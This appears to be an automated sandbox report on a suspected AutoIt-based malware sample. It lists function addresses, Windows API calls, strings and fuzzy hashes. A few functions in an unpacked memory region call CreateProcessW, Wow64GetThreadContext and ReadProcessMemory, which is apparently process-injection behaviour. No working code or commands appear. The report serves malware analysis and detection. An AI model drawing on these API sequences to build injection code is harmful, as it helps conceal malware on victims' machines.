Opcode Fuzzy Hash: eb921bd1c204578b20d9e3cc6c5759fd33b3ec7ae532ee2631260272f5212f4d
Instruction Fuzzy Hash: 1A719EB15083019FC324EF25EE8199BB7E8FF89750F40482EF485871A4DB79D948EBA1

Function 00F83A58 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00F83A62
LoadCursorW.USER32(00000000,00007F00), ref: 00F83A71
LoadIconW.USER32(00000063), ref: 00F83A88
LoadIconW.USER32(000000A4), ref: 00F83A9A
LoadIconW.USER32(000000A2), ref: 00F83AAC
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00F83AD2
RegisterClassExW.USER32(?), ref: 00F83B28

Part of subcall function 00F83041: GetSysColorBrush.USER32(0000000F), ref: 00F83074
Part of subcall function 00F83041: RegisterClassExW.USER32(00000030), ref: 00F8309E
Part of subcall function 00F83041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00F830AF
Part of subcall function 00F83041: InitCommonControlsEx.COMCTL32(?), ref: 00F830CC
Part of subcall function 00F83041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00F830DC
Part of subcall function 00F83041: LoadIconW.USER32(000000A9), ref: 00F830F2
Part of subcall function 00F83041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00F83101

Strings

#, xrefs: 00F83B0D
AutoIt v3, xrefs: 00F83B17
0, xrefs: 00F83B06

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: dc1ea0f23a1aa73be96aea04746c9a39e666aec54040a51088ae446d2b3be6b5
Instruction ID: 07bc5992b77cffea45337afa287f508fd73ccbe8fc34e4f3b7eac6c29b9a3118
Opcode Fuzzy Hash: dc1ea0f23a1aa73be96aea04746c9a39e666aec54040a51088ae446d2b3be6b5
Instruction Fuzzy Hash: D7216DB4D00305BFEB21DFA4EA89B9D7BB4FB09711F000119F584A6294E3BF56449F41

Function 00F83633 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00F836D2
KillTimer.USER32(?,00000001), ref: 00F836FC
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00F8371F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00F8372A
CreatePopupMenu.USER32 ref: 00F8373E
PostQuitMessage.USER32(00000000), ref: 00F8375F

Strings

TaskbarCreated, xrefs: 00F83725

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 911632798309a798bcf1b8953b35383133eeae3c3dfdc366c193617d00a079e2
Instruction ID: 5e166381c3bd6659872c6633c4805a70b311ae8d3aab8de88fb598b3cc6006a2
Opcode Fuzzy Hash: 911632798309a798bcf1b8953b35383133eeae3c3dfdc366c193617d00a079e2
Instruction Fuzzy Hash: 634116F2604106BBDB307B68DD89BFD3754F701B10F140629F542C62A6FA6BAE44B762

Function 00F83778 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 00F837C0
CMDLINE, xrefs: 00F83834
/AutoIt3OutputDebug, xrefs: 00F838A4
/ErrorStdOut, xrefs: 00F8388F
/AutoIt3ExecuteScript, xrefs: 00F838CE
CMDLINERAW, xrefs: 00F8380D
/AutoIt3ExecuteLine, xrefs: 00F838B9

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW
API String ID: 1825951767-3513169116
Opcode ID: 640c4e0ffb047665ab32c36ba88b9bb107345493312f7544ed9f152b7a67b078
Instruction ID: 7b3f8eed8488f008675520245a1469269dd2a1fbc492cf2cc91832e00d68c3de
Opcode Fuzzy Hash: 640c4e0ffb047665ab32c36ba88b9bb107345493312f7544ed9f152b7a67b078
Instruction Fuzzy Hash: F0A181B2D14219ABDB14FBA1CC81AEEB778BF15700F040429F452A7191EF799A09EB60

Function 00F52630 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 00F52701
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00F52927

Memory Dump Source

Source File: 00000000.00000002.2036404083.0000000000F50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_W2k2NLSvja.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: 640a513b0a1dc75cf27b9d1dcd7263df352c7e5bc7e4f1208c2f85c57f315c64
Instruction ID: 2677b46b324486e6156c6bd44569d158a89813b37e00a8aa2b058fa940e4f203
Opcode Fuzzy Hash: 640a513b0a1dc75cf27b9d1dcd7263df352c7e5bc7e4f1208c2f85c57f315c64
Instruction Fuzzy Hash: 2CA15B70E00209EBDB54CFE4C894BEEB7B5FF49316F208259EA01BB280D7759A45EB50

Function 00F839E7 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00F83A15
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00F83A36
ShowWindow.USER32(00000000,?,?), ref: 00F83A4A
ShowWindow.USER32(00000000,?,?), ref: 00F83A53

Strings

edit, xrefs: 00F83A30
AutoIt v3, xrefs: 00F83A0D, 00F83A12, 00F83A13

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: cf3f0a4b4a19ba00a3fbf9135f2663997e514cf63ffe64c3687821099239ca1b
Instruction ID: 6d17026e4cd31400d8caafa0c5075b7d3894b39e0da8b35041bd78fe62525b6b
Opcode Fuzzy Hash: cf3f0a4b4a19ba00a3fbf9135f2663997e514cf63ffe64c3687821099239ca1b
Instruction Fuzzy Hash: 6BF03AB46402907FEA321667AE88E273E7DE7C7F50F00001EB984E2194D2AB0840DBB0

Function 00F523B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 163
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F522A0: Sleep.KERNELBASE(000001F4), ref: 00F522B1

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00F52520

Strings

E6S3L4WVZXNWPTAEWG1Q5ZE485JQS, xrefs: 00F52589, 00F5258C

Memory Dump Source

Source File: 00000000.00000002.2036404083.0000000000F50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_W2k2NLSvja.jbxd

Similarity

API ID: CreateFileSleep
String ID: E6S3L4WVZXNWPTAEWG1Q5ZE485JQS
API String ID: 2694422964-3090126132
Opcode ID: fe842130caf3660dbf7cf171d1199d2ee7e81a86e32b7b121521fdfd9d96b822
Instruction ID: a971e752ed8510a0d64e471b8f7970b6a7957297126a8f0516976a5d6c7ff72a
Opcode Fuzzy Hash: fe842130caf3660dbf7cf171d1199d2ee7e81a86e32b7b121521fdfd9d96b822
Instruction Fuzzy Hash: A2719130D14288DAEF11CBB4CC54BEEBB75AF19305F044198E648BB2C1D7BA1B49CB66

Function 00FA564D Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00FA56AB
_memcpy_s.LIBCMT ref: 00FA571D
__read_nolock.LIBCMT ref: 00FA577B
__filbuf.LIBCMT ref: 00FA579E
_memset.LIBCMT ref: 00FA57E2

Part of subcall function 00FA8D68: __getptd_noexit.LIBCMT ref: 00FA8D68

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: cbc132a2d90f1fa170c901e77712e707e3c45fd9b9f6dd10e42efcbbdaed9f46
Instruction ID: 782e4bf777c4668492ea2acb89a1107b804a9d087310db7fd1091c46e158aa6b
Opcode Fuzzy Hash: cbc132a2d90f1fa170c901e77712e707e3c45fd9b9f6dd10e42efcbbdaed9f46
Instruction Fuzzy Hash: 6251C4B1E00B09DFDB248FB9C88066E77B5AF42B30F648729F835A62D0D7749D51AB50

Function 00F869CA Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F84F3D: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,010462F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00F84F6F

_free.LIBCMT ref: 00FBE68C
_free.LIBCMT ref: 00FBE6D3

Part of subcall function 00F86BEC: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00F86D0D

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00FBE462
Bad directive syntax error, xrefs: 00FBE6BB

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 2861923089-1757145024
Opcode ID: 889f6a545f94433ca9a0deb6a0b240c30968a56958f3aaabb518864e38022cd3
Instruction ID: 035818d71384c8b5fecd602127a35b724fe2909d72e8bb6e89be2407b79a62f7
Opcode Fuzzy Hash: 889f6a545f94433ca9a0deb6a0b240c30968a56958f3aaabb518864e38022cd3
Instruction Fuzzy Hash: 6C917A71910219EFCF14EFA5CC919EDB7B5BF19314F14442AF816AB291EB38A904EF60

Function 00F835B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,00F835A1,SwapMouseButtons,00000004,?), ref: 00F835D4
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,00F835A1,SwapMouseButtons,00000004,?,?,?,?,00F82754), ref: 00F835F5
RegCloseKey.KERNELBASE(00000000,?,?,00F835A1,SwapMouseButtons,00000004,?,?,?,?,00F82754), ref: 00F83617

Strings

Control Panel\Mouse, xrefs: 00F835D2

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 58f0f0b7e54908b99a741557de8a256e6c08155e91418cb76a294e985c864f1e
Instruction ID: d2d41da5cc5d713ad8a88e72091f381c0c5bd2bfd0570f1d34def8ed8a641992
Opcode Fuzzy Hash: 58f0f0b7e54908b99a741557de8a256e6c08155e91418cb76a294e985c864f1e
Instruction Fuzzy Hash: 30115A71910208BFDB21DF68D844EEEB7B8EF04B50F008459F805D7224E2719F40A760

Function 00F512A0 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 00F51ACD
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00F51AF1
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00F51B13

Memory Dump Source

Source File: 00000000.00000002.2036404083.0000000000F50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_W2k2NLSvja.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 3007ae169ef8b9d8c61beb8ea063371979b6b354134e23f449e077085ff78b4f
Instruction ID: 9a3f462204c3f4580ed3a01b0c09f03475d4c46815ceacf556578531ff31f6b1
Opcode Fuzzy Hash: 3007ae169ef8b9d8c61beb8ea063371979b6b354134e23f449e077085ff78b4f
Instruction Fuzzy Hash: 0F621D30A14258DBEB24CFA4C841BDEB371FF58301F1091A9D60DEB290E779AE85DB59

Function 00FE97E5 Relevance: 6.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 00F85045: _fseek.LIBCMT ref: 00F8505D

Part of subcall function 00FE99BE: _wcscmp.LIBCMT ref: 00FE9AAE
Part of subcall function 00FE99BE: _wcscmp.LIBCMT ref: 00FE9AC1

_free.LIBCMT ref: 00FE992C
_free.LIBCMT ref: 00FE9933
_free.LIBCMT ref: 00FE999E

Part of subcall function 00FA2F95: RtlFreeHeap.NTDLL(00000000,00000000,?,00FA9C64), ref: 00FA2FA9
Part of subcall function 00FA2F95: GetLastError.KERNEL32(00000000,?,00FA9C64), ref: 00FA2FBB

_free.LIBCMT ref: 00FE99A6

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: 7179a2ff507044a4d5ea9946a9eb7f03cddcb89bd38e099aeab182df50c6b667
Instruction ID: cfc9355f998b50afa5b66890ceeb0d63f67d9d0c06cdf8109e0a0cdb583e6c0f
Opcode Fuzzy Hash: 7179a2ff507044a4d5ea9946a9eb7f03cddcb89bd38e099aeab182df50c6b667
Instruction Fuzzy Hash: B05150F1E04258AFDF249F65CC81A9EBBB9EF48310F1004AEB609A7241DB755E80DF58

Function 00FA493A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00FA49D0
__flush.LIBCMT ref: 00FA49F0
__write.LIBCMT ref: 00FA4A23
__flsbuf.LIBCMT ref: 00FA4A51

Part of subcall function 00FA8D68: __getptd_noexit.LIBCMT ref: 00FA8D68

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 14470a6213cb86a88b8286372661136e60ed3d9327b1e96cf2061ba74b92ecb7
Instruction ID: 039fce6a853a72ebfe3a709d1a989355f67659163cbfdbde658f1b018bbd52fa
Opcode Fuzzy Hash: 14470a6213cb86a88b8286372661136e60ed3d9327b1e96cf2061ba74b92ecb7
Instruction Fuzzy Hash: 8E41D8F5A007059BDF18CE69C88056F77A6EFC6370B24813DE855C7640D7B8BD51AB44

Function 00F873E5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FBEE62
GetOpenFileNameW.COMDLG32(?), ref: 00FBEEAC

Part of subcall function 00F848AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00F848A1,?,?,00F837C0,?), ref: 00F848CE

Part of subcall function 00FA09D5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00FA09F4

Strings

X, xrefs: 00FBEE7A

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 491ce59dbc506e1245679d3e39d527482b4882d5f3abd541a5c2e16c02a17b98
Instruction ID: 0e7fbfe7e44e64aa662c5db8fb523297e40198d16a58f43e11676f23454b2444
Opcode Fuzzy Hash: 491ce59dbc506e1245679d3e39d527482b4882d5f3abd541a5c2e16c02a17b98
Instruction Fuzzy Hash: C521D571A002589BCF15EF94CC45BEE7BFC9F49314F10801AF408A7281DBB899899FA1

Function 00FE901B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00FE9036
__fread_nolock.LIBCMT ref: 00FE904B

Strings

EA06, xrefs: 00FE907D

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: d0fe6c2a4c317e70588231f722b26f006bf9b7cb5770c37ac3b442a94e52afc4
Instruction ID: 868a0e71d95cc8200432b62ed263fa0cb60e9d1bd7f5194edc5d5db3d9426a97
Opcode Fuzzy Hash: d0fe6c2a4c317e70588231f722b26f006bf9b7cb5770c37ac3b442a94e52afc4
Instruction Fuzzy Hash: 9101F9B2904258AEDB28C7A9CC16FEE7BFC9B01301F00419EF592D2181E5B9A604D760

Function 00FE9B6D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00FE9B82
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 00FE9B99

Strings

aut, xrefs: 00FE9B93

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 0b57f299aaf52c66788e1e04b1c7185e9e0e070fc22f61ebac58d0b54e64b825
Instruction ID: adb946420b26208e773cc44a6973e9ebe517043dd1246a704ecfd170cf9729bf
Opcode Fuzzy Hash: 0b57f299aaf52c66788e1e04b1c7185e9e0e070fc22f61ebac58d0b54e64b825
Instruction Fuzzy Hash: 69D05E7954030EABDB309B90EC0EF9A772CE744700F0042A1BED4D6091DEB565989B91

Function 00FFCDF1 Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8bbd8f1afc71d07cf98ae98269a870e925fc979fb6fdafc37c9633ce080d20c
Instruction ID: 9fdf64bfe3bd1dec68fc072df9ebe39d78a942348c2a2daa2882cd67a682b423
Opcode Fuzzy Hash: d8bbd8f1afc71d07cf98ae98269a870e925fc979fb6fdafc37c9633ce080d20c
Instruction Fuzzy Hash: 8DF18B719083059FC714DF28C880A6ABBE5FF88314F04892EF9999B351DB75E906DF82

Function 00F8F8CF Relevance: 4.7, APIs: 3, Instructions: 168comCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA03A2: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00FA03D3
Part of subcall function 00FA03A2: MapVirtualKeyW.USER32(00000010,00000000), ref: 00FA03DB
Part of subcall function 00FA03A2: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00FA03E6
Part of subcall function 00FA03A2: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00FA03F1
Part of subcall function 00FA03A2: MapVirtualKeyW.USER32(00000011,00000000), ref: 00FA03F9
Part of subcall function 00FA03A2: MapVirtualKeyW.USER32(00000012,00000000), ref: 00FA0401

Part of subcall function 00F96259: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00F8FA90), ref: 00F962B4

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00F8FB2D
OleInitialize.OLE32(00000000), ref: 00F8FBAA
CloseHandle.KERNEL32(00000000), ref: 00FC49F2

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
